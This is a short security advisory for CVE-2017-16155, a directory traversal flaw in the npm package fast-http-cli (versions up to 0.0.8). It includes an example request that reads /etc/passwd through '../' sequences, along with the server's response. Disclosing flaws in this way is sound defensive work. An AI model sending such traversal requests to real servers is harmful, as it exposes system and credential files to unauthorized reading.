CVE-2017-16155
Directory Traversal in fast-http-cli
Impact
`fast-http-cli` is the command line interface for `fast-http`, a simple web server. `fast-http-cli` is vulnerable to a directory traversal issue, giving an attacker access to the filesystem by placing "../" in the url. **Example request:** ```http GET /../../../../../../../../../../etc/passwd HTTP/1.1 host: localhost ``` and server Response: ```http HTTP/1.1 200 OK Date: Thu, 04 May 2017 23:59:18 GMT Connection: keep-alive Transfer-Encoding: chunked {contents of /etc/passwd} ``` ## Recommendation No patch is available for this vulnerability. It is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.
Affected packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| npm | fast-http-cli | <= 0.0.8 | none recorded |
Affected products
| Vendor | Product | Affected versions |
|---|---|---|
| Fast-Http-Cli Project | Fast-Http-Cli | Versions 0.0.1, 0.0.2, 0.0.3, 0.0.4, 0.0.5, 0.0.6 |